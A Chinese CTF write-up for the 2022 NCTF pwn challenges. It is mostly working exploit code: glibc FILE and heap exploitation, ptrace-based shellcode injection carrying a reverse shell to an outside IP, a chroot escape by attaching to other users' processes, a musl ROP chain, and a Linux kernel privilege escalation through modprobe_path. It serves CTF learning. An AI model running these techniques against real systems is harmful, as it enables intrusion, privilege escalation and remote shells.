2022-nctf-pwn-wp

总结2022-nctf的题目,主要关注chroot逃逸的手法。

点击这里查看官方wp,点击这里下载附件。chroot需要登录到ssh上去操作,没有给附件。

阅读之前,先听首歌放松一下心情吧!

ezlogin

首先说一下我发现的漏洞,在read_file的时候,可以溢出无限读,恰好又能溢出到FILE结构体。动态调试后发现,在关闭文件流的时候,FILE结构的vtable并没有检查。而在结束了阅读文件后,会调用fclose(FILE)函数,会调用到对应的函数指针。

image-20221216100211977

溢出之后,控制vtable调用_IO_default_pbackfail函数,将0x5db650处写为非0,即可调用到后门函数:

image-20221216101208481

_IO_default_pbackfail的分析如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int
_IO_default_pbackfail (FILE *fp, int c)
{
  if (fp->_IO_read_ptr > fp->_IO_read_base && !_IO_in_backup (fp)
      && (unsigned char) fp->_IO_read_ptr[-1] == c)
    --fp->_IO_read_ptr;
  else
    {
      // 进入到这里
      /* Need to handle a filebuf in write mode (switch to read mode). FIXME!*/
      if (!_IO_in_backup (fp))
	{
	 //不进这个分支
	}
      else if (fp->_IO_read_ptr <= fp->_IO_read_base)
	{
	  //也不进这个分支
	}

      *--fp->_IO_read_ptr = c;//设置fp->_IO_read_ptr为0x5db650+1即可
    }
  return (unsigned char) c;
}

因此,exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
# Date: 2022-12-03 09:58:11
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()

io: tube = gift.io

def wc(what, data):
    sla(">> ", str(what))
    sla("Please put the content you want to encrypt into '1.txt' \n", data)
    sla("When you finish  please input 'Y'\n", "Y")


canary = u64_ex(rn(7)) << 8
leak("canary", canary)

stack = u64_ex(rn(6))
leak("stack", stack)

ff = IO_FILE_plus_struct()
ff.flags = 0xfbad2184
ff._IO_read_base = 0x5db650
ff._IO_read_ptr = 0x5db651
ff._IO_read_end = 0x5db650
ff.chain = 0x5d9700
ff.fileno = 3
ff._lock = 0x5d9700-0x10
ff.vtable = 0x5db240-0x58

wc(1, b"deadbeef"+ b"\0"*0x1000 + p64(0x1e1) + bytes(ff))

sla(">> ", "6")
sleep(1)
sl("cat flag*")
ia()

官方给出的漏洞点在tea加密的时候,有数组的溢出。

看了下,确实有:

image-20221216105943613

可以在这里复习一下tea加密的相关内容,参考这篇博客1

检查输入的时候,会修改v28数组的最低字节的内容,也就是上图的第42行。那么就可以利用这一点修改掉retaddr为后门函数地址。只需要修改最低字节即可。这里的长度自然也会乘4,但不会影响下面的运行。

官方的exp为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import*
context(os='linux',arch='amd64',log_level='debug')

s = remote('49.233.15.226', 8001)

canary = u64(s.recv(7).rjust(8,b'\x00'))
success('canary=>' + hex(canary))

s.sendlineafter(b"3.exit\n>> ", b"1")

s.sendlineafter(b"Please put the content you want to encrypt into '1.txt'", b'a'*0x52 + b'*'+chr((canary>>32)&0xff).encode()+b'c'*6+b'\x75**')

s.sendlineafter(b"When you finish  please input 'Y'\n", b"Y")
s.sendlineafter(b"5.RC4\n>> ", b"4")
s.sendlineafter(b"for example: 0x10 0x20 0x30 0x10 \n> ", b"0x10 0x20 0x30 0x10")

sleep(1)
s.sendline(b"echo `base64 /flag` | base64 -d")
s.interactive()

ezlink

常规题,最后要扫下目录。直接放exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
# Date: 2022-12-03 16:30:22
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b setcontext+53
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()
set_remote_libc('libc-2.35.so')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=">> "):
    sla(prompt, i)

def add(data="\x00"*0xd0):
    cmd('1')
    sa("Please input your secret\n", data)

def dele():
    cmd('2')

def peep():
    cmd('3')
    ru("you only have two chances to peep a secret\n")
    return u64_ex(rn(8))

def distort(data):
    cmd('4')
    sa("Please input content\n", data)

def calc_heap(addr):
    s = hex(addr)[2:]
    s = [int(x, base=16) for x in s]
    res = s.copy()
    for i in range(9):
        res[3+i] ^= res[i]
    res = "".join([hex(x)[2:] for x in res])
    return int16_ex(res)

def xor_fd(addr, fd):
    return (addr >> 12) ^ fd

add()
dele()

addr = calc_heap(peep())
leak("addr", addr)
heapbase = addr - 0x1590
log_heap_base_addr(heapbase)

distort(p64_ex(xor_fd(heapbase+0x14b0, heapbase+0x300)))

add("\x60")

lb = set_current_libc_base_and_log(peep(), 0x246d60)

payload = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(
    standard_FILE_addr=heapbase+0x1880,
    _IO_wfile_jumps_addr=libc.sym._IO_wfile_jumps, 
    leave_ret_addr=0x000000000005a170 + lb, 
    pop_rbp_addr=0, 
    fake_rbp_addr=0
)

dele()

add()

add(payload[0x10:])
distort(b"a"*0x88 + p64(lb + 0x00000000000435ca))
add(b"a"*0x18+flat([
    0x000000000002a3e5 + lb,
    heapbase,
    0x000000000002be51 + lb, 
    0x8000,
    0x000000000011f497 +lb,
    7, 0,
    libc.sym.mprotect,
    heapbase + 0x1ae0,
    asm("sub rsp, 0x1000" + shellcraft.amd64.linux.read(0, heapbase + 0x1ae0, 0x400))
]))

add()
dele()

distort(p64_ex(xor_fd(heapbase+0x14b0, libc.sym._IO_2_1_stderr_ + 0x60)))

payload = flat_z({
    0: 0,
    0x8: heapbase+0x1880,
})

add(payload)

cmd('5')
sleep(1)
s(b"\x90"*0x30 + asm(shellcraft.amd64.linux.openat(-100, ".", 0)+ 
shellcraft.amd64.linux.getdents('rax', 'rsp', 0x100) + 
shellcraft.amd64.linux.write(1, 'rsp', 0x300) + 
"mov rsi, rsp;add rsi, 0xa2;" +
shellcraft.amd64.linux.openat(-100, 'rsi', 0) + 
shellcraft.amd64.linux.read('rax', 'rsp', 0x30) + 
shellcraft.amd64.linux.write(1, 'rsp', 0x30)
))
ia()

ezshellcode

出题人的blog这里,这一题和chroot都需要利用ptrace来操作。

一是看man ptrace的文档,而是查看相关博客,比如ptrace使用和调试_yanghuo11的博客-CSDN博客_ptrace

主要注意的点:

  • 系统调用号保存在orig_rax,而不是rax
  • 读写内存的时候以4字节为单位
  • 只有当子进程的状态发生改变,父进程才需要wait

image-20221216123016861

先输出pid,再mmap rwx,然后读取shellcode,最后设置沙箱。

由于我一开始做的是chroot的题,思维已经被陷入到爆破pid里面去了,所以这一题也在想着爆破pid,而忽略了最开始打印的pid

这题的坑点在于==进程read阻塞后被ptrace修改,仍然需要发送一个回车过去==。如果缺少这个回车,ptrace修改的内容不会继续执行,目前暂不清楚原因。

所以只需要让一个进程阻塞,另一个进程去attach这个进程,修改rip指向的内容,然后tracee进程接收一个回车,就会执行任意shellcode了。

解体过程都在exp里面。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#define __NR_read 0
#define __NR_write 1
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_ptrace 101

static inline long __syscall0(long n)
{
	unsigned long ret;
	__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n) : "rcx", "r11", "memory");
	return ret;
}

static inline long __syscall1(long n, long a1)
{
	unsigned long ret;
	__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1) : "rcx", "r11", "memory");
	return ret;
}

static inline long __syscall2(long n, long a1, long a2)
{
	unsigned long ret;
	__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2)
						  : "rcx", "r11", "memory");
	return ret;
}

static inline long __syscall3(long n, long a1, long a2, long a3)
{
	unsigned long ret;
	__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
						  "d"(a3) : "rcx", "r11", "memory");
	return ret;
}

static inline long __syscall4(long n, long a1, long a2, long a3, long a4)
{
	unsigned long ret;
	register long r10 __asm__("r10") = a4;
	__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
						  "d"(a3), "r"(r10): "rcx", "r11", "memory");
	return ret;
}

static inline long __syscall5(long n, long a1, long a2, long a3, long a4, long a5)
{
	unsigned long ret;
	register long r10 __asm__("r10") = a4;
	register long r8 __asm__("r8") = a5;
	__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
						  "d"(a3), "r"(r10), "r"(r8) : "rcx", "r11", "memory");
	return ret;
}

static inline long __syscall6(long n, long a1, long a2, long a3, long a4, long a5, long a6)
{
	unsigned long ret;
	register long r10 __asm__("r10") = a4;
	register long r8 __asm__("r8") = a5;
	register long r9 __asm__("r9") = a6;
	__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
						  "d"(a3), "r"(r10), "r"(r8), "r"(r9) : "rcx", "r11", "memory");
	return ret;
}

static inline long __syscall_ret(unsigned long r)
{
	if (r > -4096UL) {
		return -1;
	}
	return r;
}

#define __scc(X) ((long) (X))
#define __syscall1(n,a) __syscall1(n,__scc(a))
#define __syscall2(n,a,b) __syscall2(n,__scc(a),__scc(b))
#define __syscall3(n,a,b,c) __syscall3(n,__scc(a),__scc(b),__scc(c))
#define __syscall4(n,a,b,c,d) __syscall4(n,__scc(a),__scc(b),__scc(c),__scc(d))
#define __syscall5(n,a,b,c,d,e) __syscall5(n,__scc(a),__scc(b),__scc(c),__scc(d),__scc(e))
#define __syscall6(n,a,b,c,d,e,f) __syscall6(n,__scc(a),__scc(b),__scc(c),__scc(d),__scc(e),__scc(f))
#define __syscall7(n,a,b,c,d,e,f,g) __syscall7(n,__scc(a),__scc(b),__scc(c),__scc(d),__scc(e),__scc(f),__scc(g))

#define __SYSCALL_NARGS_X(a,b,c,d,e,f,g,h,n,...) n
#define __SYSCALL_NARGS(...) __SYSCALL_NARGS_X(__VA_ARGS__,7,6,5,4,3,2,1,0,)
#define __SYSCALL_CONCAT_X(a,b) a##b
#define __SYSCALL_CONCAT(a,b) __SYSCALL_CONCAT_X(a,b)
#define __SYSCALL_DISP(b,...) __SYSCALL_CONCAT(b,__SYSCALL_NARGS(__VA_ARGS__))(__VA_ARGS__)

#define __syscall(...) __SYSCALL_DISP(__syscall,__VA_ARGS__)
#define syscall(...) __syscall_ret(__syscall(__VA_ARGS__))

typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned int uint;
typedef unsigned long int u64;
typedef unsigned long int size_t;

#define NULL 0
#define SUCCESS 0
#define FAILURE 1

static inline int write(int fd, void* buf, int sz)
{
    return syscall(__NR_write, fd, buf, sz);
}

static inline int exit(int status)
{
    return syscall(__NR_exit, status);
}

static inline int waitpid(long pid, long status, long option)
{
    return syscall(__NR_wait4, pid, status, option, 0);
}

static inline int ptrace(long req, long pid, long addr, long data)
{
    return syscall(__NR_ptrace, req, pid, addr, data);
}

static inline int strlen(const char * buf)
{
    int l = 0;
    while (*buf) {
        buf++;
        l++;
    }
    return l;
}

static inline void puts(const char *s)
{
    int r = write(1, s, strlen(s));
    write(1, "\n", 1);
    return r;
}

#define die(s) \
puts (s); \
return FAILURE

struct user_regs_struct
{
  unsigned long long int r15;
  unsigned long long int r14;
  unsigned long long int r13;
  unsigned long long int r12;
  unsigned long long int rbp;
  unsigned long long int rbx;
  unsigned long long int r11;
  unsigned long long int r10;
  unsigned long long int r9;
  unsigned long long int r8;
  unsigned long long int rax;
  unsigned long long int rcx;
  unsigned long long int rdx;
  unsigned long long int rsi;
  unsigned long long int rdi;
  unsigned long long int orig_rax;
  unsigned long long int rip;
  unsigned long long int cs;
  unsigned long long int eflags;
  unsigned long long int rsp;
  unsigned long long int ss;
  unsigned long long int fs_base;
  unsigned long long int gs_base;
  unsigned long long int ds;
  unsigned long long int es;
  unsigned long long int fs;
  unsigned long long int gs;
};
#define PTRACE_ATTACH 16
#define PTRACE_DETACH 17

#define PTRACE_GETREGS 12
#define PTRACE_SETREGS 13

#define PTRACE_PEEKDATA 2
#define PTRACE_POKEDATA 5
#define PTRACE_CONT 7

#define PTRACE_INTERRUPT 0x4207

// gcc -nostdlib -o test test.c -static -T ./link.lds -Os -w -Wl,-gc-sections && strip ./test

static inline int run2(int child, int has_attach)
{
	int res;
	if(!has_attach) {
		if (ptrace(PTRACE_ATTACH, child, 0, 0) < 0) {
			die("PTRACE_ATTACH");
		}
	}
	int status;
	waitpid(child, &status, 0);
	// 保存当前状态
	struct user_regs_struct save_pt_reg;
	// 保存被覆盖的shellcode
	#define CODE_LEN 300
	// 反弹shell给120.25.122.195 15680
	u8 buf[0x400] = {144, 144, 144, 144, 106, 41, 88, 106, 2, 95, 106, 1, 94, 153, 15, 5, 106, 41, 88, 106, 2, 95, 106, 1, 94, 153, 15, 5, 72, 137, 197, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 3, 1, 60, 65, 121, 24, 123, 194, 72, 49, 4, 36, 106, 42, 88, 72, 137, 239, 106, 16, 90, 72, 137, 230, 15, 5, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 103, 109, 96, 102, 1, 1, 1, 72, 49, 4, 36, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 72, 137, 239, 153, 15, 5, 106, 116, 72, 184, 47, 102, 108, 97, 103, 46, 116, 120, 80, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 72, 137, 239, 153, 15, 5, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 103, 46, 103, 109, 96, 102, 1, 1, 72, 49, 4, 36, 72, 184, 47, 104, 111, 109, 101, 47, 99, 116, 80, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 72, 137, 239, 153, 15, 5, 104, 121, 117, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 102, 47, 102, 108, 97, 103, 46, 116, 80, 72, 184, 47, 104, 111, 109, 101, 47, 99, 116, 80, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 72, 137, 239, 153, 15, 5, 72, 137, 239, 106, 3, 88, 15, 5, 204};

	uint save_opcode[CODE_LEN/4] = {0};

	uint *opcode = (uint *)buf;

	//获取寄存器
	if (ptrace(PTRACE_GETREGS, child, NULL, &save_pt_reg) < 0) {
		die("PTRACE_GETREGS");
	}
	// printf("GET RIP: 0x%lx\n", save_pt_reg.rip);
	// 保存原有的opcode
	for (size_t i = 0; i < CODE_LEN / 4; i++)
	{
		save_opcode[i] = ptrace(PTRACE_PEEKDATA, child, save_pt_reg.rip + i*4, NULL);
	}
	puts("save!");
	// 注入shellcode
	for (size_t i = 0; i < CODE_LEN / 4; i++)
	{
		if (ptrace(PTRACE_POKEDATA, child, save_pt_reg.rip + i*4, opcode[i]) < 0)
		{
			die("PTRACE_POKEDATA 1");
		}
	}
	// // 继续走
	if (ptrace(PTRACE_CONT, child, NULL, 0) < 0) {
		die("PTRACE_CONT 1");
	}
	puts("inject!");
	waitpid(child, &status, 0);
    ptrace(PTRACE_INTERRUPT, child, 0, 0);
	// 恢复
	for (size_t i = 0; i < CODE_LEN / 4; i++)
	{
		if (ptrace(PTRACE_POKEDATA, child, save_pt_reg.rip + i*4, save_opcode[i]) < 0)
		{
			die("PTRACE_POKEDATA 2");
		}
	}
	if (ptrace(PTRACE_SETREGS, child, NULL, &save_pt_reg) < 0) {
		die("PTRACE_SETREGS");
	}
	if (ptrace(PTRACE_CONT, child, NULL, 0) < 0) {
		die("PTRACE_CONT 2");
	}
	puts("recover!");
	ptrace(PTRACE_DETACH, child, 0, 0);
	puts("detach!");
	return SUCCESS;
}

int _start()
{
	// 第一个参数是pid,根据需要修改即可
	run2(22093, 0);
    exit(0);
}

编译命令:

1
2
gcc -nostdlib -o exp exp.c -static -T ./link.lds -Os -w -Wl,-gc-sections
strip ./test

自定义的link脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ENTRY(_start)

SECTIONS
{
  . = 0x8048000 + SIZEOF_HEADERS;

  tiny : { *(.text) *(.data) *(.rodata*) }

  /DISCARD/ : { *(*) }
}

python3脚本把shellcode剥离出来:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


res = os.system("gcc -nostdlib -o ezshellcode_exp ezshellcode_exp.c -static -T ./link.lds -Os -w -Wl,-gc-sections && strip ./ezshellcode_exp")

assert res == 0

eee = ELF("./ezshellcode_exp", checksec=False)

read_start = 0x80480E8

exec_start = eee.start
d1 = asm(
    f"mov rdx, {exec_start - read_start + 0x401000 + 9};call rdx;"
)

ss = eee.get_section_by_name("tiny")
print(ss.data_size)
data = d1 + ss.data()

len_ = len(data)
while not data[len_-1]:
    len_ -= 1
if len_ < len(data):
    len_ += 1
data = data[:len_]

s(data)

ia()

chroot

出题人没有把远程的环境隔离好,导致环境后来是越来越乱。

主要的思想是把ptrace用于chroot逃逸。其他的chroot逃逸需要借助jail外面的一个fd,或者文件,然后还需要root权限。但是本次给的shell没有root权限,没有挂载proc目录,也基本上不可能提权。解法与上一题一样,与上一题唯一的区别在与需要爆破一下pid,找到一个jail外面的进程,最好的每个可以成功attachpid都用一个线程去执行。

注意不要attach自己,也不要attach到自己的shell。但是有概率attach到别人的shell……

可以用我写的tiny_libc库,里面有详细的剥离shellcode的代码。

babyLinkedList

musl 题。

今天整理博客的时候发现这题的 exp 忘记放上来了。从别的博客弄了一份 exp,来自2022 NCTF Partly WriteUp | The Last Dance in this year – AndyNoel’s Blog

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

libc = ELF('libc.so')

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        self.pipe = remote('49.233.15.226', 8002)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, size, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendlineafter(b'size\n', str(size).encode())
        self.sendafter(b'content\n', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        time.sleep(0.1)
        sh.send(content)

sh = Shell()
for i in range(54):
    sh.add(0x1c, b'aaaa')
sh.edit(b'b' * 0x20)
sh.show()
sh.recvuntil(b'b' * 0x20)
libc_addr = (u64(sh.recvn(6) + b'\0\0') - 0xa6000) & (~0xfff)
success('libc_addr: ' + hex(libc_addr))

sh.edit(b'c' * 0x20 + p64(libc_addr + libc.sym['environ']))
sh.show()

sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.add(0x1c, b'dddd')
sh.edit(b'e' * 0x20 + p64(stack_addr - 0x90))

sh.edit(p64(libc_addr + next(libc.search(asm('pop rdi;ret;')))) + p64(libc_addr + next(libc.search(b'/bin/sh'))) + p64(libc_addr + libc.sym['system']))

sh.interactive()
#date -f /home/ctf/flag

babyyLinkedList

简单的kernel题,直接放exp

本次使用intel汇编写的。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#define LOG_ENABLE 1            // 打印日志
#define DEBUG 1                 // 打印函数日志

#define USERFAULT_ENABLE 1      // 编译userfault处理相关代码
#define MSG_MSG_ENABLE 0        // 编译msg_msg相关的函数
#define USER_KEY_ENABLE 0       // 编译user_key_payload相关的函数
#define MODPROBE_ENABLE 1       // 编译modprobe_path相关的函数
#define ASSEMBLY_INTEL 1        // 使用intel汇编
#include "pwn.h" // https://github.com/RoderickChan/CVE-ANALYZE/blob/main/pwn.h

extern size_t g_user_cs, g_user_ss, g_user_sp, g_user_eflags;
extern size_t g_prepare_kernel_cred_addr, g_commit_creds_addr;
extern size_t g_vmlinux_base_addr;
extern size_t *g_buffer;
extern size_t g_r15, g_r14, g_r13, g_r12, g_rbp, g_rbx, g_r11, g_r10, g_r9, g_r8, g_rdx, g_rcx, g_rax, g_rsi, g_rdi;
extern ssize_t g_process_userfault_running;
extern msg_buf g_msg_buf;

int g_fd;
struct user_args {
    size_t sz;
    void *buf;
};

int add(size_t sz, void *buf)
{
    struct user_args arg = {
        .sz = sz,
        .buf = buf
    };
    return ioctl(g_fd, 0x6666, &arg);
}

int give_data(uint32_t addr)
{
    size_t tmp = addr;
    struct user_args arg = {
        .sz = 0,
        .buf = &tmp
    };
    return ioctl(g_fd, 0x8888, &arg);
}

int get_data(size_t *data)
{
    struct user_args arg = {
        .sz = 0,
        .buf = data
    };
    return ioctl(g_fd, 0x9999, &arg);
}

int dele(void *buf)
{
    struct user_args arg = {
        .sz = 0,
        .buf = buf
    };
    return ioctl(g_fd, 0x7777, &arg);
}

int seq_fds[20];
void leak_kernel()
{
    spray_seq_operations(seq_fds, 20);
}
void attack_kernel(size_t *page)
{
    dele(g_buffer);
    spray_seq_operations(seq_fds, 20);
    hexdump(g_buffer, 0x10);
    *page = GET_GADGET_REAL_ADDR(0xffffffff8188fba1);
}

void get_shell()
{
    prepare_for_modprobe_path("/tmp/xx");
    system("/tmp/dummy");
}

// head: 0xffffffffc00043c8
// ffffffff82a60300 D modprobe_path
void main()
{
    // 初始化工作
    bindcpu(0);
    save_status();
    g_fd = open("/proc/babyLinkedList", 0);
    if (g_fd < 0) {
        error("open /proc/babyLinkedList error!");
    }
    // 泄露地址
    size_t t;
    add(0x20, g_buffer);
    size_t *page = get_mmap_rw(0, 0x1000);
    register_userfault(page, userfaultfd_stuck_handler, leak_kernel, 0);
    g_process_userfault_running = 1;
    dele(page);
    hexdump(page, 0x10);
    g_vmlinux_base_addr = page[1] - 0x2f2d90;
    leak("g_vmlinux_base_addr", g_vmlinux_base_addr);
    page = get_mmap_rw(0, 0x1000);
    register_userfault(page, userfaultfd_stuck_handler, attack_kernel, 0);
    g_process_userfault_running = 1;
    add(0x20, page);
    size_t *fake_stack = g_buffer + 0x1000;
    int kk = 0;
    fake_stack[kk++] = (size_t)fake_stack + 0x1000;
    fake_stack[kk++] = GET_GADGET_REAL_ADDR(0xffffffff81086aa0); // pop rdi
    fake_stack[kk++] = 33909142350296111ul; // /tmp/xx
    fake_stack[kk++] = GET_GADGET_REAL_ADDR(0xffffffff8103aa41); // pop rax
    fake_stack[kk++] = GET_GADGET_REAL_ADDR(0xffffffff82a60300);
    fake_stack[kk++] = GET_GADGET_REAL_ADDR(0xffffffff8108dfa4); // 0xffffffff8108dfa4: mov qword ptr [rax], rdi; ret;
    fake_stack[kk++] = GET_GADGET_REAL_ADDR(0xffffffff81c00a4a);
    fake_stack[kk++] = 0; //
    fake_stack[kk++] = 0; 
    fake_stack[kk++] = get_shell; 
    fake_stack[kk++] = g_user_cs;
    fake_stack[kk++] = g_user_eflags;
    fake_stack[kk++] = g_user_sp & ~0xful;
    fake_stack[kk++] =  g_user_ss;
    g_r15 = EIGHT_a;
    g_r14 = EIGHT_b;
    g_r13 = (size_t)fake_stack;
    g_r12 = GET_GADGET_REAL_ADDR(0xffffffff8100b341);
    g_r11 = EIGHT_e;
    g_r10 = EIGHT_f;
    g_r8 = EIGHT_g;
    g_rbx = EIGHT_h;
    g_rcx = EIGHT_i;
    asm volatile (
        "mov r15, g_r15;"
        "mov r14, g_r14;"
        "mov r13, g_r13;"
        "mov r12, g_r12;"
        "mov r11, g_r11;"
        "mov r10, g_r10;"
        "mov r9, g_r9;"
        "mov r8, g_r8;"
        "mov rbx, g_rbx;"
        "mov rcx, g_rcx;"
        "mov rdi, 26;"
        "loop:\n"
        "mov rsi, rsp;"
        "mov rdx, 0;"
        "mov rax, 0;"
        "syscall;"
        "inc edi;"
        "jmp loop"
    );
    sleep(10000);
}

给寄存器赋值的比较好的顺序是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
r15
r14
r13
r12
rbp
rbx
r11
r10
r9
r8
rax
rcx
rdx
rsi
rdi

如果可以栈迁移,那就栈迁移,迁移不了,想办法调用commit_creds(init)/swapgs_xxx,可以设置signal的避免segmentation fault。或者结合work_for_func寄存器调用。

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%